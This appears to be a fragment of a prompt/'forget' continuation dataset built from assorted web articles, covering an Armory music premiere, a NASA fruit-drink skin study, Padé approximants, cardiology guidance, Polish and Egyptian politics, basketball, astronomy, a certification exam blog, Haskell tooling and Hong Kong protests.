relationships between space and sound, MYRIAD mutates forms of live musical performance. The world premiere of MYRIAD is presented as a four-part epochal song cycle by the Park Avenue Armory and the Red Bull Music Festival New York City. Music performed at MYRIAD will be released as a new album\u2014\u201cAge Of\u201d\u2014on June 1st on Warp Records. The release is his most cohesive and richly composed work to date, weaving a tapestry of disparate musical histories\u2014early music, country and folk balladry, melodic pop, computer music, and much more\u2014that demonstrate both the complexity and range of the artist\u2019s repertoire. With sounds that are unsettlingly familiar and uniquely his own, \u201cAge Of\u201d guides us through an unclassifiable new world. #PAAMYRIAD World Premiere Presented by Park Avenue Armory and The Red Bull Music Festival New York City MYRIAD is supported in part by a gift from Daniel Clay Houghton. Return to Arts at the Armory Listing Visit Buy Tickets May 22\u201324, 2018 Tuesday, May 22 Doors at 8:00pm Performance at 9:00pm\u2014SOLD OUT! Thursday, May 24 Doors at 6:00pm Performance at 7:00pm\u2014SOLD OUT! Doors at 9:00pm Performance at 9:45pm\u2014SOLD OUT! Tickets: $40 (plus fees)"}
{"prompt": "The Nasa 'space drink' that can rub out sun spots: Fruit juice developed to protect astronauts reduces wrinkles and reverses the telltale signs of ageing in four months These startling images may prove that a fruit drink developed by Nasa to protect astronauts from radiation can rejuvenate the skin. A groundbreaking study has shown that the concoction, known as AS10, dramatically reduces wrinkles, blemishes and sun damage after four months. Visia photographs \u2013 which reveal the condition of the skin below the surface by using different types of light exposure \u2013 were taken of 180 participants at the start of", "forget": "the trial, and again after four months of drinking two shots of AS10 a day. By the end UV spots were reduced by 30 per cent and wrinkles by 17 per cent. Out of this world: The dramatic effect of AS10 on pigmentation as seen through Visia photographs, before on the left and after on the right AS10 was developed as a nutritional supplement for astronauts to protect them from the damaging effects of high levels of radiation outside the Earth\u2019s atmosphere. The drink contains a blend of fruits including cupuacu (a Brazilian fruit from the cacao plant family), acai, acerola, prickly pear and yumberry, which all provide vitamins and phytochemicals \u2013 compounds known to block the harmful effects of radiation. Other ingredients are grape, green tea, pomegranate and vegetables. Radiation particles alter oxygen molecules in the body to create reactive oxygen species (ROS) \u2013 so-called \u2018free radicals\u2019 which damage cells in a process known as oxidative stress. This process has been linked to diseases such as cancer and Alzheimer\u2019s. The toxic molecules are also thought to play a role in the skin ageing process. ROS are created naturally within the body as cells generate energy, but also through environmental factors such as chemicals and ultraviolet light from the sun \u2013 the strongest stress to skin. Mobile phone radiation, cigarette smoke and alcohol also generate ROS. Space-age: AS10 was developed in conjunction with Nasa for the Astronaut Programme to ensure they received enough fruit and vegetables \u2018Think of them as little Pac-men taking bites out of molecules that are essential for cells to function,\u2019 says Dr Aaron Barson, the nutritional scientist from Utah who carried out the AS10 study after patients reported dramatic improvement from the drink. AS10 is thought to improve skin condition because the drink\u2019s large quantities of"}
{"prompt": "This article is going to be somewhat different in that I\u2019m not really writing it for the typical embedded systems engineer. Rather it\u2019s kind of a specialized topic, so don\u2019t be surprised if you get bored and move on to something else. That\u2019s fine by me. Anyway, let\u2019s just jump ahead to the punchline. Here\u2019s a numerical simulation of a step response to a \\( p=126, q=130 \\) Pad\u00e9 approximation of a time delay: Impressed? Maybe you should be. This is a goal that\u2019s been bugging the heck out of me for a few months, and I\u2019ve finally reached something", "forget": "useful. Let\u2019s start with a quick overview. 1. Denial Pad\u00e9 Approximants If you\u2019ve done any studying of linear time-invariant (LTI) systems, you know that the transfer function of a time delay T is \\( H(s) = e^{-sT} \\). An exponential function. Very simple, but it\u2019s kind of an oddball. That\u2019s because most transfer functions are written as a ratio of polynomials \\( H(s) = \\frac{P(s)}{Q(s)} \\) \u2014 in other words a rational function \u2014 and analyzed by standard techniques to find their poles and zeros and do some sort of numerical calculation with them. So we can\u2019t find the \u201cpoles\u201d of \\( H(s) = e^{-sT} \\), because there aren\u2019t any. Huh. Okay, so what do we do instead? If you\u2019re using Simulink to model something, it\u2019s fine to just add a time delay. Simulink has some secret recipe for handling time delays and it works just fine. But what if you want to perform some kind of continuous-time analysis where you need a rational transfer function? Well, you could try to convert everything to a discrete-time approximation, where a time delay is very easy and becomes a shift in a state variable array. Or you can approximate a continuous-time delay with a rational function. And whenever you see the words \u201capproximate\u2026 rational function\u201d, the first thing that should come to mind is Pad\u00e9 approximation. This is a technique to compute the \u201cclosest\u201d rational function to a given function using power series. It\u2019s kind of the rational-function equivalent to a Taylor series \u2014 it\u2019s based upon the function and its derivatives at a single point \u2014 and if you\u2019ve read my article on Chebyshev approximation, you\u2019ll know I don\u2019t particularly like Taylor series, but it has its place, and so does Pad\u00e9 approximation. Pad\u00e9 approximation has a reputation for being a"}
{"prompt": "American Heart Association and the European Society of Cardiology released a statement about when and how to resume sex. Two groups are urging doctors to inform patients that sex is possible after a heart attack. (Photo11: Getty Images) Story Highlights Groups: Intimacy is possible after heart attack Sexual health is important, researcher says Advice depends on patient's overall health CHICAGO \u2014 Many heart specialists are hardly Dr. Ruth \u2014 sex is not something they relish bringing up with patients. But new guidance says they should, early and often, to let survivors know intimacy is often possible after a heart attack.", "forget": "Discussions should involve everything from when and how to resume sex, to what position might be best for some conditions or not advised for others, according to a consensus statement released Monday by the American Heart Association and the European Society of Cardiology. It's billed as the first scientific statement with detailed guidance on resuming sex after a heart attack, stroke or other cardiac condition and is based on a review of medical literature. \"Sexual health is an important part of the overall health of the individual,\" even for the oldest patients, said Elaine Steinke, a researcher and professor of nursing at Wichita State University in Kansas. Steinke was the lead author of the statement published in the heart association's Circulation journal and the European Heart Journal. Co-author Tiny Jaarsma, a professor and heart failure researcher at Sweden's Linkoping University, said in an email that doctors and nurses \"rarely discuss sex 'spontaneously', but often wait until the patient brings up questions around sex. Health care providers often are afraid to upset patients or might feel embarrassed themselves.\" Fears and anxieties about resuming sex are often numerous: Will it cause another heart attack? Can I use Viagra? What if my defibrillator goes off during sex? And many are too shy to ask, so heart doctors, nurses and other health care workers should take the lead and initiate the discussion with men and women patients of all ages and their partners, according to the statement. Many heart patients can safely resume sexual intercourse after first checking with their doctors, and the answers to many questions depend on each patient's overall health, the guidance says. Patients with mild, stable chest pain face a low risk for a sex-triggered heart problem, whereas patients with advanced heart failure should postpone sex until their condition is"}
{"prompt": "The pivotal ally on NATO\u2019s eastern flank is at risk. Terrified by Russia\u2019s extra-territorial push into Ukraine, Crimea, and the Baltic Sea, Poland now faces its own homegrown threat. In just three months, the newly elected Law and Justice Party government has challenged and unilaterally changed Poland\u2019s constitution, and ordered a nighttime raid on a NATO facility. It has slapped state controls on media, spurred walkouts, and quickly installed its own party loyalists to top posts. The radical turn has drawn tens of thousands of Poles to the streets in protest, and put American and European allies on alert. The", "forget": "28-member European Commission meets Wednesday to conduct what it calls an internal debate on Poland\u2019s Rule of Law. Seizing on rising public discontent over economic and security concerns, the Law and Justice Party\u2019s October landslide victory pushed out the European-oriented, center-right Civic Platform, after an eight-year run managing Poland\u2019s fast-paced transformation into Europe\u2019s sixth largest economy. The new ruling party gathered steam in recent years among groups whose only common denominator is frustration. This is especially the case among Polish youth, who make up a third of the population and are seething over poor living standards despite the GDP gains of the past decade. Many of the groups engage in hate speech, calls for violence, and espouse the virtues of Polish purity (xenophobia burns hot in the country, the most homogeneous on the European continent). Some express shock at the new government\u2019s brazen moves; others have long been wary of actions portending anti-democratic rule. Like most Eastern European nations, Poland is a study in contrasts. Along Warsaw\u2019s Vistula Riverbanks, heavy, oversized, Soviet-style architecture abut contemporary steel and glass. In Warsaw and other large cities, poor pensioners pushing carts and peddling trinkets share sidewalks with smartly dressed nouveau riche shopping for luxury brands, throwing into stark relief one of the deepest socio-economic divides on the continent. Poland\u2019s national consciousness is also bifurcated: an aging population that survived World War II repression and destruction followed by communism\u2019s shortages, intrusions, and punishment gave birth to a generation that has only known Poland as an unequal member of the European Community, saddled with poor job prospects and stunted incomes. Poles under 25 make up a third of the nation\u2019s nearly 39 million population; more than a quarter are jobless and a third of those under 18 receive some form of government aid. Poverty is"}
{"prompt": "Image caption People took the streets again on Friday in Cairo, the traditional day of protest On chilly, rain-soaked streets, activists turned out for a peaceful march to al-Ittihadiya, the presidential palace in Cairo's well-off Heliopolis district. \"Step down, step down, Muslim Brotherhood!\" and \"Freedom is for us and for you!\" were among the chants. Some carried placards showing a red cross through the face of President Mohammed Morsi. Meanwhile, in Tahrir Square, the scene of renewed clashes between protesters and police over the past week, numbers swelled to several thousand after Friday prayers. Rallies against Mr Morsi also took", "forget": "place in cities along the Suez Canal where he imposed emergency measures to try to halt recent violence. Demonstrators carried pictures of young men killed in the fighting. More than 60 people died in the latest wave of unrest that added to the sense of a deep crisis in Egypt. The numbers at the latest demonstrations were lower than expected and greatly diminished from those seen two years ago, at the height of the Egyptian uprising. However, they were another expression of the anger and disappointment that many Egyptians feel over the performance of their new Islamist leader who narrowly won last June's presidential election. 'New authoritarianism' Mr Morsi's critics accuse him of betraying the values of the 2011 revolt and imposing a new brand of authoritarianism that concentrates power in the hands of the Muslim Brotherhood, the religious organisation from which he stems. Image caption Protesters say they want to purge the country's judiciary and interior ministry The main opposition coalition, the National Salvation Front (NSF), demands a national unity government and amendments to the new Islamist-tinged constitution. Revolutionary groups also call for reforms. \"We're not for or against Morsi. He just hasn't fulfilled his electoral promises,\" says Mohammed Adel, a leader of the 6 April Youth Movement which helped organise the latest protests. \"We want the constitution to be changed, we want the judiciary and interior ministry to be cleansed and we want violence by the state to stop.\" The president's supporters argue that his detractors refuse to accept the results of a free and fair election and are trying to seize power through the street. Mr Morsi has not ruled out a committee to re-examine the rushed new constitution but says a new government will be decided after parliamentary elections in a few months. \"After the elections"}
{"prompt": "WALTHAM, Mass. -- Boston Celtics second-year big man Jordan Mickey made a promise, and that's what brought him to a suburban Party City where he towered above most of the pint-sized customers hunting for Halloween costumes. Mickey's shopping list: an Aladdin costume that might fit his 6-foot-8 frame. A couple weeks earlier, Mickey had promised the daughter of teammate Jae Crowder that he would dress up as the Disney character of her choosing for a princess-themed 3rd birthday party. After some discussion, Mickey and young Jada settled on Agrabah's beloved thief. \"[Mickey] probably thought she was going to forget. But", "forget": "she didn\u2019t forget and she reminded him time after time of what he was going to be,\" said Crowder. \"He didn\u2019t lose a bet. It wasn\u2019t rookie duties. He just made a promise to my little one and she never forgot.\" Mickey couldn't find an actual Aladdin costume, but pieced together a pirate outfit and Fez hat to achieve the desired look. Mickey didn't look particularly thrilled in a snapshot that teammate Jonas Jerebko posted to Instagram but said he never intended to go back on his word. went to princess Jada's birthday party. @jmick_55 @iamamirjohnson @bossmann99 #reallifealaddin A photo posted by Jonas (@jonasjerebko8) on Oct 22, 2016 at 1:30pm PDT \"We were all just talking one day around [Crowder's] house, and it came up that Jada was having her birthday party and it was princess-themed. She was just naming off characters, and she kind of told me that\u2019s what she wanted me to be,\" said Mickey. \"I just did it for her. I\u2019ll do anything for a kid. That\u2019s what she wanted so that\u2019s what I came dressed up as.\" It wasn't just Mickey who came in costume. Fellow 2015 draftee Terry Rozier and his girlfriend came as Mickey and Minnie Mouse. Their efforts weren't lost on Crowder, who seemed genuinely touched that his teammates went so far to brighten the day for his own princess. Crowder, maybe more than any other veteran on Boston's roster, has opened his doors to Boston's youngest players. It's not uncommon for the Crowder family to host Mickey, Rozier, or rookie Jaylen Brown. And the bond those players have built off the court is reflected in the party snapshots that found their way onto social media. \"It\u2019s more than basketball. We\u2019re trying to build a brotherhood. Trying to be there for one another,\""}
{"prompt": "Albano Br\u00e1s, the owner of the small caf\u00e9, recalls them very well. They were regulars, \u201cgood lads\u201d, calm, who appeared at the end of the day or at the weekend and always in a group. However much he attempted to recall some incident, the 52 year old emigrant \u2013 in Leytonstone for the last two decades \u2013 is unable to point to any particular warning sign that the \u201cboys\u201d might have given. They laughed at the comments of others, there were no Muslim items of clothing nor was there any reference to either the Koran or to Islam. They just", "forget": "did not consume alcohol. They watched the football with a bottle of Sumol orange or pineapple soda. And there was no censure should one of their friends drink a Super Bock beer. Religion was left very much at the door of the Cascais. Between 2012 and 2013, the five began sharing an apartment in Leyton, located between the calm Dawlish Road and Sidmouth Road, next to a children\u2019s park with squirrels running through the trees. However, the Portuguese spent very little time there. It served only for sleeping, washing, praying and watching jihadist propaganda videos on the Internet. There was no television \u2013 out of choice that they stuck to with pride. The rent and daily needs were paid for by low level jobs in clothes stores or cleaning. There was not much money left at the end of the week but, then again, the group was not given to great extravagances. As a friend stated: \u201cThey did not need much to live. The remained satisfied with very little.\u201d The house was just a minute from a bus stop serving routes 58 and 69, which would take them not only to Caf\u00e9 Cascais but also to the University of East London, in Stratford, where most of them studied, and the mosque they attended in Forest Gate. They would head off to work or the faculty in the morning and return in the evening, a daily routine similar to the rest of the immigrants living in the neighbourhood. Leyton proves little more than a dormitory for its approximately forty thousand inhabitants, over half of whom belong to an ethnic minority, a ratio far higher than the Greater London average. Here, the unemployment, poverty and criminality rates are also way above the national averages. And, this is where one of Britain\u2019s largest"}
{"prompt": "I. Introduction In the midst of working on this paper, I learned that a friend of ours, an extraordinarily beautiful woman in all senses of the word, found that her equally beautiful nine-month old boy has a virulent strain of muscular dystrophy. For that bright-eyed and laughing little boy with a genetic time bomb, the future points to progressive wasting, immobility, and death before adulthood. It is easy to see in this little boy the transformations already affecting his body and to feel the sharp sting of how things will unroll in time. There is a clear sense of inevitability,", "forget": "of time being \"a river which sweeps him along.\" Although just as true for ourselves, we easily see in him that time is a devouring tiger and a consuming fire. I\u0092ll show that understanding something about time in Buddhism and modern physics deepens our sense of how \"Time is the substance I am made of.\" Such understanding also helps us appreciate how we are the devouring tiger and the consuming fire. Beyond its inevitability and destruction, time has other crucial features. We can reflect on past events and learn from them, but we cannot influence them. The past has a fixity that contrasts sharply with the more malleable future, where we make choices and influence events. Therefore, we experience a directionality to time, expressed by a metaphorical arrow pointing from the past, through the present, and into the indefinite future. In contrast, the fundamental equations of physics are all time symmetric, meaning that they have no directionality in time. All the fundamental interactions can proceed in the reverse direction without violating any laws of physics. For a simple example, bounce a ball off the floor and take a movie of it. If you run the movie backwards, nothing looks strange because the time-reversed motion violates no laws of physics. Or, take a movie of our solar system from a distant star and play it backwards. All the rotations and revolutions of the sun and planets will be reversed, but no laws of physics are violated and nothing looks strange. The same is true for quantum mechanical examples. Let an excited atom decay and emit a photon. Run the process backwards and you have an atom absorbing light and ending in an excited state. Yet, many complex processes do display clear temporal directionality. The ruptured balloon, dangling from the tearful child\u0092s"}
{"prompt": "We are collecting cases of discontinuous technological progress, to inform our understanding of whether artificial intelligence research is likely to undergo such a discontinuity. This page details our investigation. We have verified that five technological trends underwent a discontinuous jump in improvement equivalent to more than a decade at previous rates, three of which underwent more than a century of progress. Details Motivations We are interested in whether artificial intelligence research is likely to undergo discontinuous progress in the lead-up to human-level capabilities, or whether it will get there via incremental steps. If the former, we are interested in the", "forget": "nature of such discontinuities. Why are we interested in this? If discontinuity is likely, a transition to AI is more likely to be abrupt, more likely to be soon, and more likely to be disruptive. Also, if we think a discontinuity is likely, then our research should investigate questions such as how to prepare or be warned, and not questions like when the present trajectories of AI progress will reach human-level capabilities. As well as being decision relevant and important, this question appears to attract substantial disagreement, making it particularly important to resolve. This project aims to shed light on the potential for discontinuities in AI by investigating the degree and nature of discontinuities in other technologies. This seems an informative baseline for our expectations about AI, especially if we have no strong reason to expect artificial intelligence to be radically unusual in this regard. We are interested in several specific questions, such as: How common is abrupt progress in technology? Where there are discontinuities, how much progress do they represent? (relative to previous rates of progress) What predicts such discontinuities, if anything? We are also interested in overall distributions of size of progress increments, but searching specifically for the very largest increments bears on this in a less straightforward way, so we are likely to investigate it by other means later. Methods We have collected around fifty instances of technological change which are contenders for being discontinuous. Many of these are suggestions offered to us in response to a Facebook question, a Quora question, and personal communications. We obtained some by searching for abrupt graphs in google images, and noting their subject matter. We are taking these cases one by one, and assessing whether each involved discontinuous progress on plausible and interesting metrics. For instance, if we were told"}
{"prompt": "The history of Nexus Nexus started as a vision of improving the Bitcoin protocol and at the same time cleaning the cryptosphere from scam coins. Lead Developer Colin Cantrell (Viz) studied the foundations of the Bitcoin Core code, understanding how Satoshi structured Bitcoin and identifying opportunities for improvement. At this time, the altcoin market was being flooded with scams and pump and dump schemes where coins pushing promises, buzz words, and the allure of quick profits were used to swindle BTC from communities. Fom Viz\u0092s vision, Coinshield (CSD) was born. The first CSD block was mined on September 23, 2014", "forget": "at 16:20 UTC-7, and the project soon-to-be named Nexus was live. At that point, the project had one channel of mining: a Prime Mining channel (CPU). On October 23, 2014, the Hashing (GPU) channel was launched as the second proof channel. The blocks included a first-ever subsidy, where a portion from each mined block would be sent to one of 13 developer accounts and another portion would be sent to one of 13 exchange accounts. On January 24, 2015, CSD was listed on Bittrex Exchange. Shortly afterwards, Viz drafted the first whitepaper that outlined how the network would work to recycle and merge the economies and communities of these scam coins. The goal was to help the people in those communities, bring them into the CSD community, and at the same time help clean up the cryptosphere. The exchange accounts would be used to merge these economies by exchanging the coins for a portion of CSD. On April 11, 2015, Viz announced the intention to rebrand to Nexus. Discussion pursued about the ticker symbol, and NIRO was chosen to represent Nexus. On July 24, 2015, Nexus version 2.0 was released with Nexus Proof of State (nPOS) and the introduction of the Trust Network. This laid the foundation for the broader scope of Nexus. At the beginning of September 2015, Videlicet revealed his identity as Colin Cantrell. In October 2015, a more formal team was formed to promote development, build the community, and market Nexus. The ticker symbol was revised to NXS. Discussions on Nexus\u0092s direction led to the decision to abandon the recycling and merging that was part of the Coinshield project. The technical work required to implement the merging was done, but with the explosion in the number of new cryptos, the process would have had little impact. Therefore,"}
{"prompt": "heic1217 \u2014 Science Release Hubble helps find candidate for most distant object in the Universe yet observed By combining the power of the NASA/ESA Hubble Space Telescope, NASA\u2019s Spitzer Space Telescope and one of nature\u2019s zoom lenses, astronomers have found what is probably the most distant galaxy yet seen in the Universe. The object offers a peek back into a time when the Universe was only 3 percent of its present age of 13.7 billion years. We see the newly discovered galaxy, named MACS0647-JD, as it was 420 million years after the Big Bang. Its light has travelled for 13.3", "forget": "billion years to reach Earth, which corresponds to a redshift of approximately 11 [1]. This is the latest discovery from the Cluster Lensing And Supernova survey with Hubble (CLASH) [2], which uses massive galaxy clusters as cosmic telescopes to magnify distant galaxies behind them, an effect called gravitational lensing. \u201cWhile one occasionally expects to find an extremely distant galaxy using the tremendous power of gravitational lensing, this latest discovery has outstripped even my expectations of what would be possible with the CLASH program,\u201d said Rychard Bouwens (Leiden University, Netherlands), a co-author of the study. \u201cThe science output in this regard has been incredible.\u201d Along the way, 8 billion years into its journey, the galaxy\u2019s light took a detour along multiple paths around the massive galaxy cluster MACS J0647.7+7015. Due to the gravitational lensing, the team observed three magnified images of MACS0647-JD with Hubble. The cluster\u2019s gravity boosted the light from the faraway galaxy, making the images appear far brighter than they otherwise would, although they still appear as tiny dots in Hubble\u2019s portrait. \u201cThis cluster does what no manmade telescope can do,\u201d said Marc Postman (Space Telescope Science Institute, USA), leader of the CLASH team. \u201cWithout the magnification, it would require a Herculean effort to observe this galaxy.\u201d The object is so small it may be in the first stages of galaxy formation, with analysis showing the galaxy is less than 600 light-years across. For comparison the Milky Way is 150 000 light-years across. The estimated mass of this baby galaxy is roughly equal to 100 million or a billion suns, or 0.1 - 1 percent the mass of our Milky Way\u2019s stars. \u201cThis object may be one of many building blocks of a galaxy,\u201d explained Dan Coe (Space Telescope Science Institute), lead author of the study. \u201cOver the next"}
{"prompt": "After my exam earlier was postponed due to some problems between Pearson VUE and VMware Lab communications, I did my VCAP-DTM deploy last Friday. And it was a pass on the first attempt \ud83d\ude42 Woohoo. The exam is a whopping 3,4 (or somewhat with 205 minutes) hours getting through tasks where time management is the most important piece. Well next to actually knowing what you need to be doing. I missed some questions in the end, but 30 questions seem to be enough to barely pass. I was a bit slow as deployment is something I do differently in real", "forget": "life, irritated about the backspace not working (arrow del key combination is not my cookie) while my Pavlov keeps hitting that key and in the last part of the exam I had to keep pushing radio buttons several times before they got active. Some tips for the time management when you will attempt the exam: Prepare your exam lab experience. Do VMware Hands on Labs from the EUC mobily courses. Is it not for the subjects, is it knowing how to operate the lab environment. The exam lab is the same as the hands-on labs. I used several HOL-1751-MBL-1 and so on. Do note the Horizon are not the versions used in the VCAP6 version, but most items are still in the right place. I have also used Ravello Cloud for my labs. Bonus with the HOL\u2019s is that you already have the password to use in the exam drilled. Familiarize with the subjects. Read through the exam objectives and practice those in your own lab or hands on labs. These blog posts were very helpful: Going through the VCAP6-DTM Deploy Study guide several times with this blog post series: https://szumigalski.com/2016/08/01/vcap6-dtm-study-guide/. Prepare yourself about the exam lab environment with this blog post: http://sostechblog.com/2016/07/26/vcap6-dtm-desktop-and-mobility-deployment-exam-launch/. Schedule your exam. Have something to work to. Do this before starting to study, but allow for a reasonable study preparation period. There is no non-native English speaker time extension, 205 minutes is what everyone gets. A VCAP study group with peers is worth it, especially working together on a shared goal and for sharing experiences, tips and tricks. At our company ITQ (http://itq.nl) we did VCAP Bootcamps were we had multiple sessions and let some of the team present an objective. Don\u2019t have peers at your company that go for the same kind of exams? Well"}
{"prompt": "BY: Follow @FBillMcMorris General Motors has shied away from promoting the Chevrolet Volt in 2013 as the federal government begins selling off its final shares of company stock, a move one expert said may have been made to avoid reminding the public of the federal bailout. GM press releases have avoided discussing the plug-in hybrid that was once hailed as the \"halo car\" and a \"moon shot\" that could increase GM\u2019s market share in green technology. GM\u2019s public press releases mentioned the Chevrolet Volt roughly 111 times per month when it launched in 2010 and 92 times the following year.", "forget": "However, the company began drawing less attention to the vehicle in November 2011 when the National Highway Transportation Safety Administration launched an investigation into claims that the vehicle\u2019s fire hazards. From December 2011 to December 2012, the company mentioned the Volt just 31 times per month. The acceleration of the federal government\u2019s withdrawal from the company has also coincided with decreasing attention drawn to the Volt. GM press releases have mentioned the vehicle just 11 times per month on average through September 2013. Despite record-breaking sales in August, GM mentioned the Volt only once, as part of a press release focused on overall company performance. \"The Chevrolet Volt had its best month ever, as did the Chevrolet Spark, Chevrolet Sonic, Cadillac XTS and Buick Verano,\" the release said. Auto analyst Ed Niedermeyer said that GM has every reason to distance itself from the car because it served as a reminder of the company\u2019s ties to Washington and the $50 billion taxpayer bailout, which he says tarnished the brand. \"More than turning a profit, Volt was supposed to give GM a \u2018green halo\u2019 like the one the Prius bestows on the Toyota brand,\" he said. \"Because the Volt is so closely associated with the bailout, it has turned out to be a net negative in terms of public relations.\" The Treasury Department sold $3.4 billion worth of stock between January and August of 2013, before announcing in September that it would sell off the remaining 101.3 million shares in taxpayer holdings. GM did not respond to request for comment. Company executives have been doing their best to turn the page on the bailout in recent years, especially as it attempts to unveil a new line of pick-up trucks, SUVs, and a revamped Corvette. GM North America President Mark Reuss said in"}
{"prompt": "The Rumpus Interview with Mark Danielewski At the beginning of the new millennium, I was writing content for a dodgy print-on-demand publisher in Manhattan\u2019s Silicon Alley. In the first week of January, I received a call from Sophie Cottrell, who was then the publicity director of Pantheon, a venerable Random House imprint. Sophie had a debut author who\u2019d written an epic literary novel, part of it created while living a fist-to-mouth decade in Paris. The novel was called House of Leaves and the author was Mark Z. Danielewski. Sophie asked me if my website might want to do something that", "forget": "had never been done before: Did we want to do a complete online serialization of the 734-page House of Leaves before the publication date? After our initial surprise, my company agreed. Using semi-primitive web technology, our coders in Nebraska spent hundreds of hours uploading seventy pages of House of Leaves every several days for a five-week period, up to the March 17, 2000 publication date. To prevent mass piracy, the book could only be downloaded one page at a time. House of Leaves is a literary novel disguised as horror fiction, with an innocuous house in Virginia concealing a labyrinth that eventually consumes a film crew. Danielewski also takes the reader into the turbulent and violent life of Johnny Truant, a hero of the novel. The online serialization caused a good media stir and some unsettling buzz in the publishing world. The difficult downloading process led to some comical moments. A book reviewer for Seattle\u2019s alt weekly The Stranger read the whole book online and complained of blood on her keyboard. Danielewski himself was a larger-than-life author, with high cheekbones, broad shoulders, and blue hair. Like a happy warrior, he dove into promotion. When attacked by participants in an online chat, he would give a full-throated laugh of appreciation. After the serialization, Danielewski undertook a massive national book tour. He paired up with his rock-star sister Poe and toured with Depeche Mode, performing original House of Leaves music onstage from Poe\u2019s album Haunted and doing spoken word from the novel. The book sold an incredible 200,000 copies in hardback. Danielewski\u2019s golden career continued. Only Revolutions, a fantastical history of the violence and triumph of America told in verse by two runaways driving down America\u2019s highways in souped-up cars, was a finalist for the National Book Award in 2006. His short"}
{"prompt": "Pastor Maldonado's victory in yesterday's Spanish Grand Prix as well as strong showings from Grosjean in the last two races and from Sergio Perez in Malaysia is highighting an important point about F1 and the relative state of the drivers. Do we often not give enough credit to the drivers in midfield cars? For years F1 races have been won by an elite of drivers from top teams with perhaps only 7 drivers managing to visit the F1 podium in the course of an entire season. In five races this season, we've already had 9 drivers on the podium and", "forget": "five different winners. But this year with the performance of a number of cars so close and with the way the Pirelli tyres work, it is offering an opportunity for more drivers to shine. Traditionally when drivers arrive in F1 they have usually won races and championships in junior categories, but then they find that in midfield teams they struggle to shine. Fans dismiss them because they aren't able to fully evaluate what they are able to do, as they are lost in the soup of midfield. However in 2012 we've seen some stunning drives from the likes of Perez and particularly Maldonado yesterday, which makes everyone realise that success has been more about opportunity and car pace rather than elite driver ability. Of course the cream rises to the top and the leading drivers are in top teams with big salaries for a reason. They become the elite because of the consistently high peaks of performance from Alonso, Vettel, Hamilton and other top stars. They have always won because their teams build them fast cars, get them set up to maximise the tyres and then take advantage of the car pace to get the strategy right. That has always been the way of F1. But the positive thing about the racing this year is that it shows that given a chance with a car which can use the tyres well, a wider range of drivers can shine. It was a similar story in 2009 when Jenson Button showed that his poor results with Honda were to do with the car, not him and that he was capable of winning a championship. Perez and Maldonado were dismissed as 'pay drivers' because they have strong sponsor backing from their home countries. But after Malaysia everyone was talking about Perez getting a"}
{"prompt": "Please note that this page has not been updated since early 2015. I now recommend stack Rationale I\u2019m trying to learn the Haskell programming language, and I\u2019m tripping over the cabal-install package management system sufficiently often that it\u2019s putting me off putting time into learning the language. Here are my requirements for a development environment I\u2019m willing to learn in: don\u2019t leave Debian Wheezy 32-bit; Debian Jessie will be out soon, but its versions of GHC and the Haskell platform are still very old so upgrading early is not a way out. minimise how often I have to delete all", "forget": "of ~/.cabal and ~/.ghc ; when using cabal sandboxes, again, minimise the number of core libraries that need to get rebuilt in every sandbox; be simple enough to integrate cleanly with the existing ways I manage my OS installation and the contents of my home directory; be simple enough that I can understand everything as a Haskell beginner and can get things working (again) quickly and get back to trying to write Haskell. In this document I will describe the combination of home directory and system-wide installations that fit these requirements, and the workflow for sorting out packages so that I can get on with trying to make my programs do input and output, and other fun Haskell beginner stuff. Alternative approaches The following two approaches don\u2019t satisfy the requirements given above. Do everything manually This involves having nothing installed system-wide, including the Haskell Platform. Install GHC and Cabal in ~/local/src and then install things into their own sandboxes and add the .cabal-sandbox/bin directories to your $PATH . Someone on reddit describes a balance between installing stuff into .cabal/bin and having sandboxes in which related packages are built and then symlinking those directories. But this requires lots and lots of rebuilding over and over and lots of manual $PATH additions. System-wide Debian packages mitigate this. This might facilitate such an approach. Fails (2), (3) and (4). Use a clever automatic sandboxing solution Halcyon and the Nix package manager (which doesn\u2019t require the full NixOS) are the projects I\u2019ve come across that try to do this. They aim to avoid even more rebuilding than my approach avoids. The Halcyon author doesn\u2019t want to support 32-bit Debian, and I don\u2019t want to be a Nix early adoptor at the same time as trying to learn how to get my programs to take"}
{"prompt": "In the latest wave of protests in the Asian financial hub, a group of Chinese demonstrators on Thursday unfurled a huge banner on Hong Kong's famous \"Lion Rock,\" which overlooks many poor neighborhoods across the region's harbor. The stunt came following comments made by Hong Kong Chief Executive Leung Chun-ying on Monday when he claimed that full democracy would give the poor too much power. 'Genuine universal suffrage' The 28-meter-long (30.6-yard-long) yellow banner, emblazoned with the slogan \"I want genuine universal suffrage\" and a picture of an umbrella, which has become the symbol of pro-democracy protesters, was hung by a", "forget": "climber wearing a Spiderman suit. \"The small circle electoral committee (who voted for Leung in 2012) and the Chief Executive only care about the rich on Tai Ping Shan and not the poor under Lion Rock,\" said the disguised protester who, according to police, was one of 10 climbers belonging to the group who call themselves \"Hong Kong Spidie.\" 'Umbrella Revolution': Protests have been going on for almost a month Tai Ping Shan is the local name for Victoria Peak, the famous hill that dominates Hong Kong Island and is home to some of the world's most expensive properties. 'Lion Rock Spirit' Associated with \"Lion Rock\" is the concept of \"Lion Rock Spirit\" - a phrase which has been adopted by Cantonese speakers to encapsulate Hong Kong's reputation as a place where hard work and perseverance meant a brighter future. However, many among Hong Kong's youth feel that the city's \"Lion Rock Spirit\" has been stifled by the political elite. Faced with rising inequality and soaring housing costs, many young Hong Kongers are left with little hope of renting, let alone buying, their own home in a city with one of Asia's widest wealth gaps. One month of protests On Tuesday talks began again between government officials and leaders of the student protest movement. However, hopes remain low for any breakthrough. Beijing believes it has offered enough concessions to the former British colony in the past and sources say it will not change its position. Pro-democracy campaigners have now been protesting in Hong Kong for almost a month, where they continue to demand a free choice of candidates to become the city's chief executive in the 2017 election. China's National People's Congress decided in August that any candidates would have to be vetted by Beijing before appearing on the ballot."}
